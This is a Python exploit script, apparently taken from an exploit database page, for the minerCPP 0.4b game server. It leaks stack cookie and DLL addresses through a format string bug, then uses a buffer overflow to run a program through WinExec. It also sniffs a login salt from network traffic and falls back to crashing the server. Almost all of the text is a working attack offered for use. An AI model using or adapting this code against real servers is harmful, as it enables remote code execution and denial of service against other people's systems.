#!/usr/bin/env python
#minerCPP 0.4b Remote BOF+Format String Attack Exploit
#Software Link: http://sourceforge.net/projects/minercpp/
#Author: l3D
#Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
#IRC: irc://irc.nix.co.il
#Email: [email protected]
#Tested on Windows 7
#In order to make this exploit work you should sniff the salt first.
#It's sent by the software to www.minecraft.net
#You can find it in the POST data (salt=12345 for instance).
#I added a part that sniffs it automatically using pcapy.
#Furthermore, in a real attack it can be simply brute
#forced (it's only rand()). I didn't add this part in
#order to prevent abusing.
#The EAX can be influenced and the stack too.
#However, there is a stack cookie that
#prevents us to jump into our overwritten RET.
#There are no SEH nor vtable overwritings.
#So what can we do?...
#I found a format string attack vulnerability
#which lets us calculate the master cookie
#and get the ESP of the current thread.
#Unfortunately, the BOF is in another
#thread, so the ESP we've got may not match
#the ESP we need, what makes this exploit unstable.
#Code execution worked to me 10 out of 50 times.
from socket import *
from time import sleep
import pcapy, hashlib, re, struct, os, sys
print 'minerCPP 0.4b Remote BOF+Format String Attack by l3D ([email protected])\n'
if len(sys.argv) < 3:
print 'Usage: python %s <host> <port> [salt]' % sys.argv[0]
print 'If salt is not specified, the exploit sniffs it automatically.'
if len(sys.argv) > 3:
salt=sys.argv[3]
else:
dev=pcapy.lookupdev()
cap=pcapy.open_live(dev, 1024, False, 0)
cap.setfilter("dst 69.175.14.242 and dst port 80")
data=cap.next()[1]
while 1:
salt=re.findall(r'salt=(\d+)', data)
if salt:
salt=salt[0]
break
data=cap.next()[1]
host=sys.argv[1]
port=int(sys.argv[2])
exp=re.compile(r'0X([0-9A-F]+)')
def md5_calc(input):
o=hashlib.md5(input)
output=o.hexdigest()
del o
return output
def pack_login(nick, x):
login='\x00\x07'
if x:
nick_hash=md5_calc(salt+nick)
nick=nick.ljust(64)
return login+nick+nick_hash
else:
return login+nick+'\x20'
def pack_msg(nick, x):
msg='\x0d\x7e'
if x:
content='/pinfo %s ' % nick
content=content.ljust(64, 'A')
else:
content='/pinfo '+nick
content=content.ljust(64)
return msg+content
def send_and_run(packet):
sock=socket(AF_INET, SOCK_STREAM)
sock.connect((host, port))
sock.send(packet)
sleep(1)
sock.close()
del sock
sleep(2)
##############################################################################################
print '[1] Stage 1: Cookie and KERNELBASE.dll ImageBase Getting'
nick='%s.%#X.%#X'
trys=0
packet=pack_msg(nick, True)
try:
sock=socket(AF_INET, SOCK_STREAM)
sock.connect((host, port))
sock.send(pack_login(nick, True))
except:
exit('[-] ERROR: Sockets error.')
data=sock.recv(2048)
while data:
if data[0]=='\x00':
print '[+] Logged in successfuly!'
sock.send(packet)
if data[0]=='\x0e':
sock.close()
exit('[-] ERROR: Wrong salt.')
if data.startswith('\x0d\x00&e') and ' is a &7' in data:
print '[+] Data has been recieved!'
nums=[int(i, 16) for i in exp.findall(data[4:])]
if nums:
data=data[4:data.find('.0X')]
if len(data)<8:
if trys < 20:
print '[!] Data is too short, trying again...'
trys+=1
sleep(1)
sock.send(packet)
else:
print '[-] ERROR: Too much trys. DoSing...'
sock.close()
sleep(1)
send_and_run(pack_login('A'*128, False))
exit()
else:
esp=nums[1]-0xf0
kernelbase, xored_esp=struct.unpack('2L', data)
cookie=xored_esp^esp
kernelbase-=0x1671
print '[+] Stage 1 completed.'
break
else:
sock.close()
exit('[-] ERROR: addresses couldn\'t be found.')
data=sock.recv(2048)
sock.close()
del sock
print
sleep(2)
##############################################################################################
print '[2] Stage 2: minerCPP.exe and kernel32.dll ImageBases Getting'
nick='%#X.%#X.%s'
packet=pack_msg(nick, False)
try:
sock=socket(AF_INET, SOCK_STREAM)
sock.connect((host, port))
sock.send(pack_login(nick, True))
except:
exit('[-] ERROR: Sockets error.')
data=sock.recv(2048)
while data:
if data[0]=='\x00':
print '[+] Logged in successfuly!'
sock.send(packet)
if data.startswith('\x0d\x00&e') and ' is a &7' in data:
print '[+] Data has been recieved!'
data=data[4:data.find(' is a &7')]
data=exp.sub('', data, 2)[2:10]
if len(data)==7:
data+='\0'
if len(data) < 8:
sock.close()
exit('[-] Data is too short, it can be because one of the adresses contains nullbyte...')
else:
kernel32, minerCPP=struct.unpack('2L', data)
kernel32-=0x4ef88
minerCPP-=0x5621
print '[+] Stage 2 completed.'
break
data=sock.recv(2048)
sock.close()
del sock
print
##############################################################################################
print '[~] Analyzed data:'
print '[+] ESP: 0x%08x' % esp
print '[+] Cookie: 0x%08x' % cookie
print '[+] KERNELBASE.dll: 0x%08x' % kernelbase
print '[+] kernel32.dll: 0x%08x' % kernel32
print '[+] minerCPP.exe: 0x%08x' % minerCPP
print
sleep(2)
##############################################################################################
print '[3] Stage 3: Buffer Overflow'
esp+=0x50
winexec=struct.pack('L', kernel32+0x8e76d)
exitprocess=struct.pack('L', kernel32+0x52aef)
calc=struct.pack('L', esp+0x98)
junk='A'*(64-len(salt))
xored_esp=struct.pack('L', esp^cookie)
ret=winexec #jump to WinExec @ kernel32.dll
ret+='JUNK'
ret+='\x10\x01\x01\x10' #readable address @ zlib1.dll
ret+=exitprocess #jump to ExitProcess @ kernel32.dll
ret+=calc #the place of the string in the stack
ret+='\x01\xFF\xFF\xFF'
ret+='JUNK'
ret+='\xFF\xFF\xFF\xFF' #exit code -1
ret+='calc' #a program to execute
packet=pack_login(junk+xored_esp+ret, False)
send_and_run(packet)
print '[+] Packet has been sent. The server should be DoSed or a code should be executed.'
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation